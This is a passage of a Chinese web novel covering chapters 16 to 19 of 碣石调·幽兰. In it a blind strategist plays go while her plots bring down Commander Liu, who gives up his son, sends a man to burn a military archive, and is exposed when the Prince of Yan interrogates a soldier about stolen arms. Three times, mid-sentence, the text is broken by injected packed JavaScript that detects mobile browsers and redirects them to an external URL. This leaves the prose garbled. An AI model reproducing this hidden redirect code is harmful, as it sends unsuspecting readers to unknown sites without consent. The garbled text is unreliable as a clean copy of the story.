书吏殷殷劝勉，“大人，我等此刻当抛却遮掩这烫手山芋之心。须得将这‘铁证’，并柳衙内恶行相关卷宗、风闻、苦主陈情等物一一整束，恭谨无遗地呈至燕王驾前。” 他直逼知县惊惶的双眸："我等呈递的并非''结案陈词''，而是''鸣冤血状''。状告之人正是柳守备父子，告他们倚势凌人、草菅人命、胁制官府、罗织冤狱。我等衙役便是首当其冲的苦主，是忍辱负重、今番终见天日的人证。" “至于虬髯客……”书吏眼底掠过一抹戾色，“王爷盛怒之下，定要彻查。柳守备为求自保，要么死无罪证，坐实罪名，要么…弃车保帅，抖出柳家更多阴私。不论哪条路，这把刀终归要架在柳家脖颈上。” 王知县眼中惊惶如潮退去，留下劫后余生的虚脱与更深的阴鸷。他回望着书吏深不见底的眼，喉结轻轻滚动。 窗外，新的愤怒声浪隐隐传来，直指守备府。书吏无声吹熄手边烛火，值房阴影骤然扩大，将二人更深吞没。 更夫的梆子声撞碎死寂的夜，清寒悠长，恰似为谁敲响了丧钟。 17. 碣石调·幽兰（十六） 那记昭示凶兆的梆子余音未散，恰似寒潭坠石，涟漪未平便没入南城深处。 浓稠死寂翻涌而上，将残响绞碎，拖入窒息深渊里。 此地不见值房墨牍官威，亦无王府朱门森肃，唯余废弃义庄地底，腐土混着劣质灯油的浊臭，再昏暗中无声蒸腾。 数道黑影紧贴暗处，呼吸几近于无，唯有眼珠转动间，泄露出蛰伏的生机。 “十三娘！”一道压抑着惶恐与悲愤的嗓音响起，“咱兄弟刚露头，就被燕王宰了！连地牢的影都没摸着，跟别提救晖少爷了！” 幽绿灯火摇曳，将十三娘半张脸映得如同鬼魅。她扶额的手指难以察觉地微颤，对亲子的担忧已被更汹涌的憋屈与焦躁淹没。 “探不出地牢所在？”她的声音压得极低，颇有几分咬牙切齿，“燕王…果真是个阎王。晖儿落在他手里……”后半句未言，但凶多吉少的寒意已弥漫开来。 角落里另一道黑影迟疑地嗫嚅：“十三娘，难不成…咱们就这样算了？” 十三娘攥紧的拳头咯咯作响，眸底狠戾与痛苦激烈撕扯：“前头派去的人都折了！咱们的人手本就单薄…再这般填进去，黑云寨的血海深仇，拿什么去报？难不成用命填吗？！” 她深吸了口气，强行压下喉头翻涌的腥甜，语气陡然淬上阴寒，“红绡优柔寡断、顾虑重重。咱们是什么人？刀口舔血的主儿！本就没甚好顾虑的。真要把咱们逼上绝路——” “……大不了拼个你死我活！” 义庄彻底陷入死寂，唯余灯芯偶尔爆开的细微噼啪声。那声音像极了十三娘心头那根越绷越紧、濒临断裂的弦。 翌日，苍梧镇北城 乍暖还寒，灰白晨光漫过深巷陋室的粗粝桌案，一副残局散落其上，粗陶棋子磨痕深重，一枚白子裂痕刺目。 残局一侧，半盏冷透的残茶里，浸着张字迹漫漶的纸条，边缘已被茶水泡软、模糊。 若嵁端起茶盏，指腹触及冰凉。面无表情地将盏中残茶连同那团模糊的纸浆，一并泼洒在窗边西南角的白山茶根下。 浑浊的液体无声渗入泥土，只洇出一小片辨不清的暗痕，连同几片被匆匆踩进泥里的纸页白屑，转瞬没了踪影。 若嵁抹净指间残留的茶渍与纸屑，俯身，一一拣起散落的棋子，指尖沉稳，将残局依原样摆回。 残茶已倾，唯余一只空盏，孤伶伶搁在案角。 门外忽起一阵压抑的嘈杂，传来刻意压低的争执： “公子，今儿个可得早些回府。若误了时辰，将军那边……” “闭嘴！小爷自有分寸，用不着你聒噪！” 吱呀—— 门被猛地推开，冷风裹挟着市井喧嚣的余音灌了进来。 廖怀的身影出现在门口，一身锦袍略显凌乱，面上带着毫不掩饰的急色。身后两名护卫一左一右，几乎卡住了门框，警惕地逡巡着周遭环境。 “霈然兄！”廖怀声线焦躁，几乎是撞开那无形的紧张空气，仓促挤入狭小的室内。 若嵁自他急促紊乱的呼吸中听出此行不易，微微颔首，指尖在冰冷的棋枰上轻轻一点，声音平稳无波： “公子，坐。” 廖怀在对面的矮凳上跌坐，身体急切地前倾，眼中难掩激动与探询：“今日坊间传闻…可有你的手笔？” 若嵁捻起一枚圆润的黑子，在指间摩挲，缓缓摇首，“‘得道者多助，失道者寡助’。此等风云，当由执牛耳者亲涉局中，方能搅动乾坤。” 廖怀眼中狐疑之色更浓，正待追问，若嵁却未再看他。 她摊开掌心，露出棋枰一角：“公子，切莫心急。不若手谈一局？” 廖怀眸中焦躁喷薄而出，甫一挥手，带起的劲风掀起案上几枚棋子，叮当滚落。 “还下什么棋！”他声音嘶哑发颤，劫后余悸犹在，“霈然兄，你可知…上回从你这儿回府的道儿上，竟叫一伙不要命的截了！若非护卫拼死……” 廖怀身体绷得更紧，喉结滚动，脸色惨白，“阿爷…阿爷晓得后，震怒滔天，将我拘在书房，深谈至天明。” 若嵁捻着黑子的指尖在空中一滞。 那双被白纱缚住的眼眸，明明不见天光，此刻却仿佛能穿透皮囊，直直刺入人心最幽暗的角落，无声地等待着廖怀剖开那场“深谈”惊心动魄的核心。 廖怀被这无形的目光逼视着，狂乱的心绪稍平，声音压至气音，带着惊悸：“阿爷说…廖晖他…他根本不是我廖家血脉。你可记得，府志中的黑云寨？！廖晖…他竟是黑云寨余孽的孽种！” 他眼中尽是被至亲欺骗的狂怒和得知惊天秘密的悚然，牙关都在打颤，“阿爷已将廖晖…捆了，交给了燕王。那群亡命徒…就是冲我来的！想绑我换廖晖！” 廖怀此番剖白，倒是解了若嵁之惑。 脑中似有丝线缠绕，将军械失窃、黑云寨残党与翠云阁隐隐勾连。 偏生记忆如蒙尘古镜，虽见光影浮动，却辨不清纹路走向，唯余下满眸迷雾，越理越是纷乱。指腹悬停于那枚冰冷的黑子之上。 “所以，霈然兄……”廖怀的声线里裹着浅淡如游丝的倚赖，又透着几分失魂的茫惑，再次响起，“我得早些回去。” “捕快徐青之事，公子且宽心。在府中静候佳音便是。” 廖怀带着满腹未解的疑惑，在护卫簇拥下匆匆离去。 门扉合拢，隔绝了外界的喧嚣与寒意，也带走了室内的最后一丝躁动，狭小的陋室重归寂静。 若嵁端坐未动，指尖依旧停留在那枚冰冷的黑子上。案上空盏孤悬，残局如谜，唯有窗外透入的晨光，在粗粝的桌案上缓缓挪移。 门阖数息后，一缕微弱的吐纳声，极其缓慢、谨慎地调整了节奏，试图隐入沉寂。 待廖怀焦躁的气息与护卫的警觉目光彻底消散于巷陌尽头，那刻意收敛的第三方存在感，恰似微尘，在若嵁被夺去视力却愈发敏锐的感知中，悄然漾开一圈无波的涟漪。 空气中，除却陈腐木味、茶渍酸湿气息与廖怀等人仓促离去的紧张汗味外，又添一缕极淡的幽微甜香。 若嵁并未回头，指尖的黑子轻轻落在棋枰一角，发出清脆却孤寂的一声“嗒”。 “廖公子并无闲暇，”她略微侧首，白纱覆眼的面容精准转向那缕冷香最凝滞的角落，语气带着洞悉一切的平静，甚至隐含一丝几不可查，却了然于心的叹息，“红绡姑娘不妨与我手谈一局？” 话音方落，陋室幽影中忽现一道纤影，身姿挺秀如夜昙破暗，自堆叠的杂物暗影里无声步出。 一袭素色劲装，脸上蒙着同色面纱，唯余一双寒星眼眸，沉静中透着倾慕。 “先生所请，红绡不敢辞。”她声音清冷，如玉石相击。 二人落座棋枰两端，分庭抗礼，气息瞬间将陋室划分为无形的战场。 “王知县那边，”若嵁声音清泠，指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533413|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悬于棋罐之上，不带波澜，“可有动静？” “刚得的消息，”红绡压低声音，目光却锐利如针，“王知县带着他那心腹书吏，抱着几大摞卷宗，脚步虚浮地往燕王别院去了。” 棋子“嗒”地一声，精准落在棋枰一角，是个看似无关紧要，却隐隐钳制着白棋大片腹地的位置。 “他去了，便是认了阿松之案必有冤屈。”若嵁唇角勾起极淡的弧度，“那份‘铁案如山’的卷宗，此刻怕是已成了他投向燕王、反咬柳守备的‘投名状’。依照燕王的性情……” 她顿了顿，指尖无意识地划过旁边焦尾琴冰冷的断弦处，语带讥诮：“柳守备…此刻，只怕未必能稳坐钓鱼台了。” 铅云如墨翻涌，沉沉压着守备府邸飞翘的檐角，将白日里那点虚张的威仪也吞噬殆尽。 书房内，檀香依旧，烛火摇曳，映得壁上悬挂的舆图也似蒙上了一层阴翳。 柳守备无声静坐，指骨却将案上密报攥得簌簌发响，素白宣纸上渗出道道青白指痕。眸底的惊惶虽被他强压着，却教侍立檐下的衙内瞧得喉头发紧，连吞口唾沫都怕惊碎了这满室山雨欲来的死寂。 窗外庭院的景致浸在浓重的阴影里，模糊不清，一如他此刻的心境。 案头，一封火漆已被粗暴撕裂的信函，如同烫手的烙铁，静静躺在那里。 信是燕王亲笔，字字如刀，力透纸背，字里行间充斥着雷霆之怒与不容置疑的威压。矛头直指翠云阁两桩悬而未决、却早已如附骨之疽缠上他柳氏门楣的命案。 空气凝滞得令人窒息。 柳守备背对书案，身影纹丝不动，唯有背在身后的那只手，指关节因过度用力而绷得惨白，泄露了内心翻江倒海的惊涛骇浪。 藩王本无审案干政之权，此乃朝野共知的铁律。换作别个藩王，他怕是早已修本直奏朝廷，参他一个僭越之罪。 偏生这燕王兵权在握、节制一方，行事跋扈，连刑部缉捕要犯的火签都敢悍然扣下。惯常将祖宗家法视若无物，踩至脚下。 这封裹挟着暴怒的信函，无异于一把高悬的铡刀，悬在他独子的头顶，随时可能轰然落下。 柳守备的指节攥得案几木纹发白，青筋自袖口暴起。纵是舐犊情深如沸汤翻涌，这数十年宦海沉浮堆起的城府，却似腊月寒冰浇透骨髓。 那点为人父的血性刚要破堤，便被这桶冰水镇得死死的，唯余下指腹摩挲官印时，才透出三分不易察觉的颤抖。 他须镇定自若，稍有差池，儿子性命、柳氏满门及依附势力，都将化为齑粉。 “混账！孽障！” 齿缝间迸出压抑低吼，带血腥气猛地转身，血丝密布的眼如受伤困兽，凶狠绝望中仍燃着清醒算计。 他一把抓起那催命符般的信函，欲撕又止。手背上暴起的青筋狰狞地跳动，最终又狠狠地将信纸拍回案面。 “啪！” 烛火狂摇，将他面容映得光影扭曲。胸膛急剧起伏，粗重喘息如破风箱，在死寂书房里刺得人耳膜生疼。 未到绝境，尚有斡旋余地。 “大人！” 帘幔外，侍从急促惊惧的声音，打破了这令人窒息的死寂。 柳守备身形微滞，缓缓抬眸，目光锐利如鹰隼，死死钉向帘幔，似要穿透来人。 只听得侍从屏息续道： “府衙的捕头…带人上门了，说是奉了急令，欲将衙内…即刻锁拿归案！” 18. 碣石调·幽兰（十七） 柳守备身形剧震，血丝密布的眼珠死死钉在案上那封被揉皱的信函上。 “燕王密信方至，便有县衙官差上门……”齿缝间挤出的低语，裹挟着彻骨的寒意与恍然大悟的惊怒，“此事如何就轻易惊动了这尊煞星，原来症结出在这里！” 先前强压心底的侥幸自负，此刻皆被现世惊涛拍得粉碎。 柳守备自矜王知县那老狈惧于威压，纵使八面玲珑，见风使舵，也不敢轻易反水。更自诩多年苦心经营，已将苍梧地界盘根错节的势力尽数攥于掌中。 熟料—— 喉间有腥甜翻涌，他扬袖掩口，指缝溢出的猩红尚未及拭，便狠狠将一口浓痰啐在青砖上，溅起的尘灰混着血丝。 “好个豺狐之辈！他以为将本将卖了，去向燕王摇尾乞怜，便能脱身？！痴人说梦……” 冷汗顺着柳守备的脖颈滑入衣领。 坊间流言与蛛丝马迹交缠，近乎明示衙内乃翠云阁命案的真凶。燕王之怒，恰是从王知县呈上的那摞“天衣无缝”的卷宗里，觉察蹊跷。 为掩盖真相，正是他与王知县合谋，将翠云阁小倌阿松之死全数推至虬髯客身上。 此举本意为一石三鸟： 其一，快刀斩乱麻，替衙内脱罪。其二，虬髯客乃正军士卒，他公器私用，将其充做衙内护卫。掩盖军籍，便可避开军中追查。其三，燕王调查多时的军械案，正是他监守自盗，以谋取巨利。借刀杀人，是为灭口。 然而，如今有燕王介入，大好局面生变，竟成败笔。 虽则燕王目前尚未疑心到他头上，但若顺着虬髯客这根藤蔓摸上来…… 柳守备里衣被冷汗濡湿。 不可！此事绝不可攀升至军方。 “父亲！父亲救我！”凄惶的哭嚎声由远及近，搅乱了柳守备的沉思。 柳衙内连滚爬地扑来，发髻散乱，锦袍皱巴巴沾满尘土，脸上涕泪横流，哪还有半分往日纨绔子弟的跋扈模样。 他一把抱住柳守备的腿，如同溺水者抓住最后一根浮木，“父亲！我不要跟他们走！父亲，您救救我啊！” 柳守备颔首垂眸，看见衙内的面容因惊惶而扭曲变形。眼中爱怜与痛楚如刀绞，几乎要将他撕裂。此子乃柳家单传血脉，是宗祠牌位前承继香火之人，然…… 他阖目良久，喉间滞涩滚动。 再睁时，眼底猩红渐褪，唯余极致理性淬就的森冷锋芒。那层寒意深处，是任沧海狂澜如何拍击，亦难搅动半分生机的绝望。 “松手。”声音嘶哑，却带着不容置疑的威压。 柳衙内如遭雷击，难以置信地抬头：“父亲？！” “来人！” 柳守备决绝地抽回腿，冷然转面，眼底寒潭冰封，绝意不瞥向爱子分毫，“送衙内…出去。告诉捕头，本官…秉公执法，绝不徇私！” 末了几字，自齿缝迸出，染着铁锈般的腥气。 “父亲！！！” 柳衙内如困兽哀号，被家丁架离书房。其绝望哭喊在廊道回荡，啃噬着柳守备摇摇欲坠的心神。 墨案烛烬渐冷，满室寂若寒潭。 柳守备负手而立，脊背如弯弓绷紧，鬓若秋霜。良久，他才缓慢转身，目中慈父柔光尽散，唯余孤注之狂意、谋算之冷芒。 暴雨如鞭，天地尽墨。 闪电骤亮树影狂舞，旋即复归黑暗。喧嚣中，檐角水滴在石阶上敲出“嗒嗒”细响。 “嗒。” 烛火轻晃，驱尽北城陋室外的喧嚣，拢住一室静谧。那清脆声响的源头，是一只骨节分明、略显枯瘦的手。 若嵁的黑子再落下，已嵌入白棋腹地一隙。棋枰之上，黑白绞杀，看似平静，实则步步惊心，恰如窗外铅云压城的苍梧。 红绡拈起白子，指尖悬停于棋罐边缘。探询的眸光落在若嵁被白纱覆盖的眼部，似在揣度这步棋背后更深沉的意图。 身上那缕幽微的冷香，因主人全神贯注的思虑，而凝滞了一瞬。 “先生此子……”红绡正开口。 “嘭！” 黑影裹着潮湿土腥，毫无征兆地闯入这方寸棋局。 “昭翎。先生面前，休得无礼。”红绡低声呵斥。 昭翎喘息未定，声音压得极低却字字清晰，眸光掠过稳坐如松的若嵁，其间隐现一缕转瞬即逝的激赏。 “若先生算无遗策。柳衙内那草包，刚被府衙捕快锁拿，一路哭爹喊娘，此刻已收押入县衙大牢。” 红绡执棋的手指微不可察地一顿，抬眸触及对坐之人蹙起的眉头。 灯焰被涌入的冷风吹得一阵摇曳，将三人投在墙上的影子拉扯得扭曲晃动。 若嵁镇定自若。搁在棋枰边缘的指尖，摩挲着棋子，仿佛昭翎带来非是石破天惊的消息，而只是棋盘外一缕无关紧要的风 “哦？”她的声线平稳，带着洞悉世事的了然，“柳守备…竟如此爽快，便交出了他那视若性命的独子？” 昭翎一愣，显然未料到若嵁的反应如此平淡，更未及深思柳守备此举的深意。 红绡却眸光一闪，接口道：“先生之谋，除了救出虬髯客，另有玄机暗藏？” “爱子如命之人，若非被逼至绝境，断然不会轻易放弃手中唯一能握住的‘筹码’。”若嵁侧首，白纱朝向昭翎闯入的方向，仿佛能“看”穿那扇破窗，直抵守备府邸的森严书房。 “柳守备能在苍梧盘踞多年，绝非易与之辈。他今日能忍痛弃子，其背后牵扯的干系，必定远超一个衙内的性命，甚至……远超他柳氏满门的富贵荣辱。” 若嵁指尖离开棋枰，抚上旁边焦尾琴。动作轻柔，却带着一种无形的压迫感。 “虬髯客……黑云寨……军械失窃案……”若嵁喃喃低语，余下二人却没能听清。 尔后，一声叹息令陋室内的空气骤然又冷了几分，若嵁续道：“困兽犹斗……柳守备不知，我们已暗中救下他欲要灭口之人。” 她语气陡然转寒，带着不容置疑的断定：“他绝不会坐以待毙。弃子，只为争取最后一丝喘息之机。风暴……将至。” 恰在她言毕刹那，穹庐裂帛，惨白电光如银蛇破墨，将沉夜寸寸绞碎。死寂骤停，惊雷自九霄滚滚碾来，轰然炸裂，震得陋室窗棂战栗不已。 豆大雨珠砸落瓦檐。陋室之内，棋局未终，但无形的杀伐之气，已随惊雷暴雨，轰然降临。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533414|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红绡与昭翎默契对视，皆从对方眼中看到即将达成所愿的畅然。指间那枚悬停了许久的白子，重重落于枰上，直刺黑棋中腹。 守备府，书房 窗外铅云低垂，将柳守备的身影吞噬。案上烛火被穿堂风带得疯狂摇曳，将墙上那幅巨大的舆图映得鬼影幢幢。 他盯着那舆图，仿佛盯着一个巨大的、正在缓缓合拢的陷阱。胸腔里那颗被反复捶打的心脏，在衙内撕心裂肺的哭嚎声远去后，反倒诡异地沉静下来。 “去，”他朝着角落的心腹低吼，带着亡命徒的狠厉， “立刻去‘甲字丙七’号架，把‘黑三’的军籍卷宗……不……直接将库房烧掉！此外，但凡有人问及虬髯客，只需言明他是本官府上签了死契的护院。跟军中……没有半分瓜葛！” 心腹身影一晃，无声消失于阴影中，踏入愈发浓重的雨幕与黑暗里。 军籍档案库房 雨势如天河倒倾，将整个苍梧淹没在轰鸣的水幕之中。狭窄的后巷被积水灌满，污浊的水流裹挟着枯叶碎石，在青石板缝隙间打着旋涡。 守备心腹贴靠库房青砖缓行，避过正门巡弋的灯笼流萤，熟稔地迂至侧方那扇隐于暗影的偏门。特制薄刃悄没锁孔，腕间轻旋。 “咔哒。”机扩的声响被暴雨喧嚣掩盖。 木门被推开条仅容一人侧身通过的缝隙，浓烈的陈旧纸张和霉变尘土混合的气息扑面而来。 库房内漆黑一片，唯有高处一扇窄小的气窗透进一线微弱天光，映出无数高耸至屋顶的档案架轮廓。 守备心腹闪身而入，反手合上门，将雨声隔绝在外。他目的明确，脚步无声地在过道中穿行，精准地停在一个标注着“甲字丙七”的厚重木架前。 他抽出标名‘黑三’的卷宗扔在地上，又掀翻木架，任由案卷散落一地。随即从怀中掏火折子，轻轻一晃，幽蓝的火苗瞬间腾起，映亮了他毫无表情的脸。 火折子毫不犹豫地被掷入铁盆中那堆泛黄的纸张上。 残页似饥兽啖焰，枯纸卷疯狂纠缠火舌。赤芒轰然腾起，将满纸罪孽与诡秘尽数绞碎吞噬。 火舌肆意翻卷，守备心腹僵直的身形被投映在身后档案架上，影影绰绰，似魍魉在扭曲哀号，随烈焰跃动而张牙舞爪。 火焰舔舐卷宗匣的刹那—— 一道刺目的惨白闪电撕裂库房顶棚的黑暗。惊雷碾过，震得梁柱簌簌落尘。在这雷霆轰鸣的掩盖下，库房那扇厚重的正门连同旁边的半堵砖墙，从外向内轰然撞碎。 木屑、碎石、泥水狂卷而入，熄灭了那簇焰火。 守备心腹瞳孔骤缩，腰身疾拧，猿臂倒探，便要抽出腰间寒刃。到底还是晚了一步，杀机已先一步破空而至。 数道身影随着破开的门洞涌入。 他们动作整齐划一，带着铁血杀伐的冰冷气息，立即封锁了所有退路。 “留活口！人赃并获！”一声令下，盖过了暴雨的喧嚣。 守备心腹肝胆俱寒，方知此乃天罗地网。守备大人弃子求生的缓兵之计，实则是将其推入绝境的饵钩。 此番筹谋，非但未换来半分生机，反倒助敌手织就了取命的绞索。 19. 碣石调·幽兰（十八） 北城陋室 窗棂的烛火堪堪稳住身形，将棋枰上瞬息万变的杀伐映照得纤毫毕现。 红绡刺入黑棋腹地的白子，锋芒毕露，似已扼住大龙咽喉，使得黑子气数将尽。 若嵁的双眸，仿佛穿透了眼前薄纱，落于纵横之间。 瘦削的手指并未探向棋罐，反而沿着棋枰边缘缓缓滑过，最终停在一枚孤悬边角的黑子上。 “先生……”红绡朱唇轻启，因若嵁落下一枚闲子而略感不解。 若嵁唇角微扬，神情淡然，指尖轻触那枚黑子，看似轻柔，却暗藏胜局之势。 “此子，非是无用。” 话音方落，另一枚新子稳稳当当地落于边角。恰与先前的那枚“闲子”遥相呼应，互为犄角之势。 嗒—— 落子声在惊雷余威后短暂寂静里显得格外清晰，甚至压过了窗外渐密的雨声。 红绡执棋的手指滞在半空。她凝目细看，稳操胜券的局势竟因这看似平平无奇的一子，骤然生变。 若嵁落下的两枚黑子封死了白棋外势联络与根基，令白棋攻势受挫。黑棋则借暗桩与妙手实现攻守逆转，白棋此时境况竟已岌岌可危。 白子难落。 红绡抬眸望向若嵁，眼中震惊与叹服交织。方知劣势是诱敌陷阱，引她落入先生彀中。其心机算路，着实令人又惧又敬。 “先生棋艺通玄，红绡……拜服。”她长叹一声，指尖微松，手中白子落回棋罐边缘。 棋子落罐的磕碰声与再临的雨势合为一体。 “嘭！” 昭翎去而复返，湿透的身影又一次闯入众人视线。发梢衣角淋漓滴落的水线在脚下迅速汇聚成一小滩，虽狼狈，但眸光灼灼，直指若嵁。 “先生。柳守备弃子之举，果然留有后手。只是百密一疏，他竟遣人夜焚库房中虬髯客军籍名册，此等昏招，恰撞入燕王亲卫设于守备府门的天罗地网，当场人赃并获！” 昭翎声线微劈，带着雨水的寒气，“先生神机妙算。只在幕后稍作筹谋，竟引得燕王入局，当真是一箭双雕之妙策……” 烛火剧烈晃动，三人身影在墙上如鬼魅狂舞，棋局逆转余波未平，昭翎之言更添震撼。 窗外的暴雨在这一刻达至顶峰。 密集雨点砸在瓦片上，发出震耳欲聋的轰鸣，仿佛天地也在为这场精心织就、终至收网的杀局擂鼓助威。 若嵁端坐如初，白纱缚眼，不见波澜。唯有那双手，正抚过身旁焦尾琴冰冷的弦。 指尖与冰弦相触，无声无息。 她轻转螓首，白纱拂向窗外翻涌如墨的穹庐。 陋室之外，苍梧镇在暴雨肆虐中震颤。 暗潮涌动间，几处命运交织的节点，于刹那间轰然引爆，似是宿命巨轮碾碎桎梏，将众人拖入未知的漩涡： 守备府书房，柳守备正因独子入狱心急如焚，却不知他派出的心腹已落入天罗地网，最后一线销毁罪证的希望正被雨水浇灭。 县衙大牢深处，柳衙内绝望的哭嚎在潮湿阴冷的石壁间空洞回响。 军籍库门前，泥水横流，燕王亲卫玄甲森然，正将面如死灰的守备心腹拖出泥泞，散落的“黑三”卷宗残页浸在污水中，如同柳氏父子的罪状，昭然若揭。 “嗒…嗒…嗒…” 檐角水线连成串，砸落在窗下石臼中，声声细密清冷，敲打在风暴中心。 燕王别院，水榭 周放离尚未就寝。他披着玄色大氅，临窗而立，指尖把玩着那柄从若嵁手中夺取的军械匕首。 窗外湖心，寒月如钩。 典仪无声而入，躬身低语：“回禀王爷，人回来了。” 周放离挥手示意他退下。 尔后，一身肃杀的亲卫首领沐雨而来，跪于阶下。 “回禀王爷，人犯及证物均已带到。库房所获残册，经比对，其中‘黑三’之页，确凿载明虬髯客本名为虞惊鸿，隶属苍梧卫戍军正兵营，军籍无误。而柳守备遣人焚烧军籍库之举，是为隐藏其军籍名册，遮掩私匿军士、公器私用之罪。” “哦？”周放离面上不见喜怒，平静道，“若仅是如此，尚不足以令柳守备舍弃亲子。虞惊鸿何在？” “卑下已派人将他提至府上。” 周放离的指腹，拭过短匕的刀刃。 “带他上来。” 两名亲卫架着一道沉重身影踏入水榭。 正是虬髯客——虞惊鸿。 他浑身湿透，破旧囚衣紧贴在身上，多处洇出深褐色的血污，有些已然干涸发黑，有些仍在缓慢渗出，与雨水混合。 一条腿以不自然的角度扭曲着，头发纠结，胡须凌乱，脸上纵横交错的不仅有雨水污泥，还有鞭痕与淤青。他头颅低垂，双目紧闭，气息微弱得如同风中残烛，若非亲卫架着，早已瘫软在地。 一盆冰冷的井水当头泼下！ 虞惊鸿剧烈咳嗽起来，呛出几口血沫，浑浊的眼睛勉强睁开一条缝隙，茫然地望向四周刺目的灯火，最终聚焦在端坐上位、气势迫人的玄衣身影上。 那身影在摇晃的光晕中，如同云端的神祇，带着生杀予夺的无上威严。 他下意识瑟缩，喉咙里发出意义不明的嘶声。 “虞惊鸿，”周放离的声音不高，却直抵人心，“苍梧卫戍军正兵营，军籍号‘黑三’。本王问你，你可知罪？” 虞惊鸿的身体剧颤，眼神涣散，满是绝望与麻木。 “罪…呵…咳咳……”他声音嘶哑破碎，面如死灰，“小人的罪…柳守备…与王知县…不是早已替小人…定好了么？翠云阁阿松…是…是小人杀的…小人认罪……” “翠云阁命案？证人龟公已死，另一证人铁匠之子镰生也已反口。至于物证……”周放离调转话头，意味不明道，“这件案子，本王不欲多加干涉。但，柳守备为何要选你来替他那草包儿子脱罪，本王倒是有几分兴致。可是…跟军械失窃案有关？” “军械……”虞惊鸿瞳孔皱缩，麻木的脸上终是裂开一道痛苦与惊惧交织的纹路。他嘴唇哆嗦着，欲否认，却在那双洞悉一切的目光下无所遁形。 周放离身体前倾，语带挑拨： “虞惊鸿，你身为正军士卒，本该保境安民。如今却落得这般田地，一身重伤，性命垂危，还要背负杀人之污名，死后怕也要被唾骂千载。 这满盘皆输的境地，只因你曾甘为柳守备爪牙，替他行那腌臜阴私之事。昔日他许下的锦绣前程，如今何在？大难临头时，又何曾念及半分主仆情分？不过是急于将你这枚弃子碾作齑粉，免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533415|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得污了他的清名。” 句句诛心！ 虞惊鸿咳得撕心裂肺，仿佛要将五脏六腑都呕出来。他眼中绝望化为疯狂怨毒，由虚无命运转而指向柳守备。 “是…是军械。是柳守备…是他指使！让小人…联络军中旧识，趁换防、巡库之机，将库中淘汰、报损的旧械…还有…还有一部分新到的…精铁箭头…偷运出来。” 水榭内一片死寂，唯有虞惊鸿粗重的喘息和窗外暴雨的轰鸣。 周放离不动声色，示意亲卫将几样东西呈上：正是一沓从库房中搜捡到的尚未焚毁的军籍名册。 “圈出同党之名。”周放离不给他缓和机会，“所窃军械运往何处？” “……城西十里，废弃的…染坊……”虞惊鸿艰难喘息，“那里…是接头点…柳守备…他…他胃口太大！一部分…卖给过路的商队…换金银…更多的…更多的……”他眼中闪过一丝恐惧，仿佛想起了什么可怕的事情，“卖给了黑云寨的常十三娘。” “黑云寨？”周放离眸中精光暴涨。他冷哼一声，“二十年前复燃的死灰？！” “是…咳咳咳……”虞惊鸿咳得蜷缩起来，断断续续地证实，“是……柳守备说……说山高皇帝远……无人知晓……” 轰隆—— 巨大霹雳撕裂天穹，惨白电光霎时将水榭内映得如同白昼，也将周放离脸上的复杂表情照得纤微毕露。 三月余！整整九十余日，他似苍狼逐迹，于军械失窃案中辗转求索。线索或隐或现，迷雾层层叠叠，恍若置身混沌未开之境。 人证王五拦驾呈状，空有言辞却无实证，致使他对柳守备的疑虑，如断线风筝悬于半空，飘摇不定。 而今，云开雾散，真相终现。 人证物证俱在，地点动机清晰明了。柳守备监守自盗，私自贩卖军械，甚至胆大包天勾结朝廷心腹大患黑云寨余孽的铁案，已然铸成。 然恰在真相昭然若揭、一切尘埃将定之时，一缕若有似无的森冷异感，悄无声息缠上了周放离的心头。 王五拦驾陈冤，状告柳守备涉手军械失盗一案。他虽深知此事另有幕后操弄之人，然经此一事，对柳守备的戒心不由加重几分。 这才有了自己对流言的放任与推动。从而迫使柳守备权衡弃子，兵行险招，反而欲盖弥彰，招致满盘皆输。 局中设局，环环相扣。 自他踏入苍梧辖境，王五当街拦驾那刻起，便似有无形巨手暗中操弄乾坤。深谙他对“蹊跷之事”的戒备，洞悉他对柳守备的疑虑，借翠云阁命案掀起舆论惊澜，诱使王知县倒戈相向，逼得柳守备乱中出错。 终叫那军械失窃的铁证，连同其私通黑云寨的弥天阴谋，如抽丝剥茧般，毫无保留地呈于他眼前。 此念骤生，恰似寒潭冰水兜头浇落，转瞬浇灭了破获大案的满腔快意。 周放离眸光如浸深潭，徐徐掠过水榭内明灭的烛火、气若游丝的虞惊鸿，又投向雨帘翻涌的水榭之外。 最终，他的视线似要穿透风雨迷雾，直刺那幕后执子落盘的弈局操控之人。 然，他怎肯长为傀儡，任人摆布？ 军械一案水落石出，幕后黑手图谋已然尽现。柳守备罪孽深重，正可充作饵食，引那藏于暗处的魑魅魍魉自投罗网。 20. 碣石调·幽兰（十九） 周放离收回投向雨幕的视线，指尖在匕首刃口轻轻一弹，发出细微却清晰的嗡鸣。 